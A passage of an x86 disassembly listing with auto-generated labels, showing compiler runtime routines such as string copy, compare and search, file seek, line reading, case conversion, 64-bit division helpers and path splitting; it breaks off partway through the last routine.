		inc	edi
		dec	ecx
		jz	short loc_418C62
		test	al, al
		jz	short loc_418C6A
		test	esi, 3
		jnz	short loc_418C34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CA1

loc_418C50:				; CODE XREF: sub_418C10+8Fj
		and	ebx, 3
		jz	short loc_418C62

loc_418C55:				; CODE XREF: sub_418C10+22j
					; sub_418C10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_418C8E
		dec	ebx
		jnz	short loc_418C55

loc_418C62:				; CODE XREF: sub_418C10+2Bj
					; sub_418C10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418C6A:				; CODE XREF: sub_418C10+2Fj
		test	edi, 3
		jz	short loc_418C84

loc_418C72:				; CODE XREF: sub_418C10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418D06
		test	edi, 3
		jnz	short loc_418C72

loc_418C84:				; CODE XREF: sub_418C10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CF7

loc_418C8B:				; CODE XREF: sub_418C10+7Fj
					; sub_418C10+F4j
		mov	[edi], al
		inc	edi

loc_418C8E:				; CODE XREF: sub_418C10+4Dj
		dec	ebx
		jnz	short loc_418C8B
		pop	ebx
		pop	esi

loc_418C93:				; CODE XREF: sub_418C10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418C99:				; CODE XREF: sub_418C10+A9j
					; sub_418C10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418C50

loc_418CA1:				; CODE XREF: sub_418C10+20j
					; sub_418C10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418C99
		test	dl, dl
		jz	short loc_418CEB
		test	dh, dh
		jz	short loc_418CE1
		test	edx, 0FF0000h
		jz	short loc_418CD7
		test	edx, 0FF000000h
		jnz	short loc_418C99
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CD7:				; CODE XREF: sub_418C10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CE1:				; CODE XREF: sub_418C10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CEB:				; CODE XREF: sub_418C10+ADj
		xor	edx, edx
		mov	[edi], edx

loc_418CEF:				; CODE XREF: sub_418C10+C5j
					; sub_418C10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418D01

loc_418CF7:				; CODE XREF: sub_418C10+79j
		xor	eax, eax

loc_418CF9:				; CODE XREF: sub_418C10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_418CF9

loc_418D01:				; CODE XREF: sub_418C10+E5j
		and	ebx, 3
		jnz	short loc_418C8B

loc_418D06:				; CODE XREF: sub_418C10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D0E	proc near		; CODE XREF: sub_406C19+2E2p
					; sub_406C19+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418D8A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418D2D
		cmp	edi, 1
		jz	short loc_418D2D
		cmp	edi, 2
		jnz	short loc_418D8A

loc_418D2D:				; CODE XREF: sub_418D0E+13j
					; sub_418D0E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418D44
		push	esi
		call	sub_41E5B1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi

loc_418D44:				; CODE XREF: sub_418D0E+27j
		push	esi
		call	sub_41A7D0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418D59
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_418D6D
; ---------------------------------------------------------------------------

loc_418D59:				; CODE XREF: sub_418D0E+42j
		test	al, 1
		jz	short loc_418D6D
		test	al, 8
		jz	short loc_418D6D
		test	ah, 4
		jnz	short loc_418D6D
		mov	dword ptr [esi+18h], 200h

loc_418D6D:				; CODE XREF: sub_418D0E+49j
					; sub_418D0E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E517
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D8A:				; CODE XREF: sub_418D0E+Bj
					; sub_418D0E+1Dj
		mov	dword_4CD9B4, 16h
		or	eax, 0FFFFFFFFh

loc_418D97:				; CODE XREF: sub_418D0E+7Aj
		pop	edi
		pop	esi
		retn
sub_418D0E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DA0	proc near		; CODE XREF: sub_406C19+2ACp
					; sub_406C19+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418DD1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418DCF
		jz	short loc_418DD1
		dec	ecx
		dec	ecx

loc_418DCF:				; CODE XREF: sub_418DA0+29j
		not	ecx

loc_418DD1:				; CODE XREF: sub_418DA0+9j
					; sub_418DA0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_407110+5Cp
					; sub_407110+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418E94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418E0A

loc_418DFB:				; CODE XREF: sub_418DE0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418E3B
		test	edi, 3
		jnz	short loc_418DFB

loc_418E0A:				; CODE XREF: sub_418DE0+19j
					; sub_418DE0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418E0A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418E48
		test	ah, ah
		jz	short loc_418E43
		test	eax, 0FF0000h
		jz	short loc_418E3E
		test	eax, 0FF000000h
		jnz	short loc_418E0A

loc_418E3B:				; CODE XREF: sub_418DE0+20j
		dec	edi
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E3E:				; CODE XREF: sub_418DE0+52j
		sub	edi, 2
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E43:				; CODE XREF: sub_418DE0+4Bj
		sub	edi, 3
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E48:				; CODE XREF: sub_418DE0+47j
		sub	edi, 4

loc_418E4B:				; CODE XREF: sub_418DE0+5Cj
					; sub_418DE0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC
		jmp	short loc_418E7C
; ---------------------------------------------------------------------------

loc_418E60:				; CODE XREF: sub_418DE0+75j
					; sub_418DE0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418E9A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418E90
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC

loc_418E7C:				; CODE XREF: sub_418DE0+7Ej
					; sub_418DE0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418E90

loc_418E83:				; CODE XREF: sub_418DE0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418E92
		dec	ecx
		jnz	short loc_418E83

loc_418E90:				; CODE XREF: sub_418DE0+8Bj
					; sub_418DE0+A1j
		mov	[edi], cl

loc_418E92:				; CODE XREF: sub_418DE0+ABj
		pop	ebx
		pop	esi

loc_418E94:				; CODE XREF: sub_418DE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418E9A:				; CODE XREF: sub_418DE0+85j
					; sub_418DE0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EA4:				; CODE XREF: sub_418DE0+E4j
					; sub_418DE0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418E7C

loc_418EAC:				; CODE XREF: sub_418DE0+7Cj
					; sub_418DE0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418EA4
		test	dl, dl
		jz	short loc_418E9A
		test	dh, dh
		jz	short loc_418EF8
		test	edx, 0FF0000h
		jz	short loc_418EE8
		test	edx, 0FF000000h
		jnz	short loc_418EA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EE8:				; CODE XREF: sub_418DE0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EF8:				; CODE XREF: sub_418DE0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F10	proc near		; CODE XREF: sub_407252+2A2p
					; sub_40EE72+31DBp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418F31
		xor	eax, eax
		jmp	short loc_418F33
; ---------------------------------------------------------------------------

loc_418F31:				; CODE XREF: sub_418F10+1Bj
		mov	eax, edi

loc_418F33:				; CODE XREF: sub_418F10+1Fj
		cld
		pop	edi
		leave
		retn
sub_418F10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418F50

loc_418F40:				; CODE XREF: sub_418F50+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418F50
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_408C26+DBp
					; sub_40DAF0+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_418F56:				; CODE XREF: sub_417880+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418F7B

loc_418F68:				; CODE XREF: sub_418F50+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418F40
		test	cl, cl
		jz	short loc_418FC4
		test	edx, 3
		jnz	short loc_418F68

loc_418F7B:				; CODE XREF: sub_418F50+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_418F86:				; CODE XREF: sub_418F50+61j
					; sub_418F50+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418FC8
		and	eax, 81010100h
		jz	short loc_418F86
		and	eax, 1010100h
		jnz	short loc_418FC2
		and	esi, 80000000h
		jnz	short loc_418F86

loc_418FC2:				; CODE XREF: sub_418F50+68j
					; sub_418F50+81j ...
		pop	esi
		pop	edi

loc_418FC4:				; CODE XREF: sub_418F50+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_418FC8:				; CODE XREF: sub_418F50+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_419005
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FFE
		test	ah, ah
		jz	short loc_418FC2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418FF7
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FF0
		test	ah, ah
		jz	short loc_418FC2
		jmp	short loc_418F86
; ---------------------------------------------------------------------------

loc_418FF0:				; CODE XREF: sub_418F50+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418FF7:				; CODE XREF: sub_418F50+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418FFE:				; CODE XREF: sub_418F50+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_419005:				; CODE XREF: sub_418F50+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41900C	proc near		; CODE XREF: sub_408C26+AFp
					; sub_40EE72+47F2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_419020
		xor	eax, eax
		jmp	short loc_419056
; ---------------------------------------------------------------------------

loc_419020:				; CODE XREF: sub_41900C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_419050
		mov	esi, [ebp+arg_8]

loc_419029:				; CODE XREF: sub_41900C+42j
		dec	dword ptr [esi+4]
		js	short loc_419038
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41903F
; ---------------------------------------------------------------------------

loc_419038:				; CODE XREF: sub_41900C+20j
		push	esi
		call	sub_41E248
		pop	ecx

loc_41903F:				; CODE XREF: sub_41900C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41905A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_419050
		dec	[ebp+arg_4]
		jnz	short loc_419029

loc_419050:				; CODE XREF: sub_41900C+18j
					; sub_41900C+3Dj ...
		and	byte ptr [edi],	0

loc_419053:				; CODE XREF: sub_41900C+55j
		mov	eax, ebx
		pop	esi

loc_419056:				; CODE XREF: sub_41900C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41905A:				; CODE XREF: sub_41900C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_419050
		xor	ebx, ebx
		jmp	short loc_419053
sub_41900C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419063	proc near		; CODE XREF: sub_409209+BFp
					; sub_409209+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4CDA48
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_419097
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4190FE

loc_41907F:				; CODE XREF: sub_419063+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_419090
		cmp	cl, 7Ah
		jg	short loc_419090
		sub	cl, 20h
		mov	[edx], cl

loc_419090:				; CODE XREF: sub_419063+21j
					; sub_419063+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41907F
		jmp	short loc_4190FE
; ---------------------------------------------------------------------------

loc_419097:				; CODE XREF: sub_419063+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E709
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4190F0
		push	edi
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4190F0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_4190F0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_4190F0:				; CODE XREF: sub_419063+53j
					; sub_419063+61j ...
		push	[ebp+var_4]
		call	sub_417C3B
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_4190FE:				; CODE XREF: sub_419063+1Aj
					; sub_419063+32j
		pop	ebx
		leave
		retn
sub_419063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419101	proc near		; CODE XREF: sub_40A951+6p
					; sub_40A96F+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4CDA48, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41912E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4191C7
		cmp	eax, 5Ah
		jg	loc_4191C7
		add	eax, 20h
		jmp	loc_4191C7
; ---------------------------------------------------------------------------

loc_41912E:				; CODE XREF: sub_419101+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419162
		cmp	dword_433E7C, esi
		jle	short loc_419150
		push	esi
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41915A
; ---------------------------------------------------------------------------

loc_419150:				; CODE XREF: sub_419101+42j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41915A:				; CODE XREF: sub_419101+4Dj
		test	eax, eax
		jnz	short loc_419162

loc_41915E:				; CODE XREF: sub_419101+ADj
		mov	eax, ebx
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------

loc_419162:				; CODE XREF: sub_419101+3Aj
					; sub_419101+5Bj
		mov	edx, off_433C70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419186
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41918F
; ---------------------------------------------------------------------------

loc_419186:				; CODE XREF: sub_419101+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41918F:				; CODE XREF: sub_419101+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41915E
		cmp	eax, esi
		jnz	short loc_4191BA
		movzx	eax, [ebp+var_4]
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------

loc_4191BA:				; CODE XREF: sub_419101+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4191C7:				; CODE XREF: sub_419101+16j
					; sub_419101+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419101	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4191D0	proc near		; CODE XREF: sub_40B822+3Dp
					; sub_40D01A+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4191F1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_419241
; ---------------------------------------------------------------------------

loc_4191F1:				; CODE XREF: sub_4191D0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_4191FF:				; CODE XREF: sub_4191D0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4191FF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41922A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41922A
		jb	short loc_419232
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_419232

loc_41922A:				; CODE XREF: sub_4191D0+4Aj
					; sub_4191D0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_419232:				; CODE XREF: sub_4191D0+52j
					; sub_4191D0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_419241:				; CODE XREF: sub_4191D0+1Fj
		pop	ebx
		retn	10h
sub_4191D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419250	proc near		; CODE XREF: sub_40B822+24p
					; sub_40D01A+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419272
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4192B3
; ---------------------------------------------------------------------------

loc_419272:				; CODE XREF: sub_419250+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_419280:				; CODE XREF: sub_419250+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419280
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4192AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4192AE
		jb	short loc_4192AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4192AF

loc_4192AE:				; CODE XREF: sub_419250+4Ej
					; sub_419250+54j
		dec	esi

loc_4192AF:				; CODE XREF: sub_419250+56j
					; sub_419250+5Cj
		xor	edx, edx
		mov	eax, esi

loc_4192B3:				; CODE XREF: sub_419250+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B8	proc near		; CODE XREF: sub_40B8D8+1E3p
					; ___:0040E7A0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_4192F3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4192F3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4192EF
		push	2
		push	ebx
		push	esi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_4192EF:				; CODE XREF: sub_4192B8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_4192FD
; ---------------------------------------------------------------------------

loc_4192F3:				; CODE XREF: sub_4192B8+18j
					; sub_4192B8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4192FD
		and	byte ptr [eax],	0

loc_4192FD:				; CODE XREF: sub_4192B8+39j
					; sub_4192B8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_419375

loc_419310:				; CODE XREF: sub_4192B8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4CEF01[edx], 4
		jz	short loc_419321
		inc	eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------

loc_419321:				; CODE XREF: sub_4192B8+64j
		cmp	cl, 2Fh
		jz	short loc_419335
		cmp	cl, 5Ch
		jz	short loc_419335
		cmp	cl, 2Eh
		jnz	short loc_41933B
		mov	[ebp+var_4], eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------

loc_419335:				; CODE XREF: sub_4192B8+6Cj
					; sub_4192B8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41933B:				; CODE XREF: sub_4192B8+67j
					; sub_4192B8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419310
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_419375
		cmp	[ebp+arg_8], 0
		jz	short loc_419370
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419359
		mov	edi, esi

loc_419359:				; CODE XREF: sub_4192B8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41ED0D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_419370:				; CODE XREF: sub_4192B8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41937F
; ---------------------------------------------------------------------------

loc_419375:				; CODE XREF: sub_4192B8+56j
					; sub_4192B8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41937F
		and	byte ptr [ecx],	0

loc_41937F:				; CODE XREF: sub_4192B8+BBj
					; sub_4192B8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4193D2
		cmp	edi, ebx
		jb	short loc_4193D2
		cmp	[ebp+arg_C], 0
		jz	short loc_4193AF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419398
		mov	edi, esi

loc_419398:				; CODE XREF: sub_4192B8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41ED0D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_4193AF:				; CODE XREF: sub_4192B8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4193FA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4193BF
		mov	esi, eax

loc_4193BF:				; CODE XREF: sub_4192B8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D2:				; CODE XREF: sub_4192B8+CCj
					; sub_4192B8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4193F0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4193E1
		mov	esi, eax

loc_4193E1:				; CODE XREF: sub_4192B8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

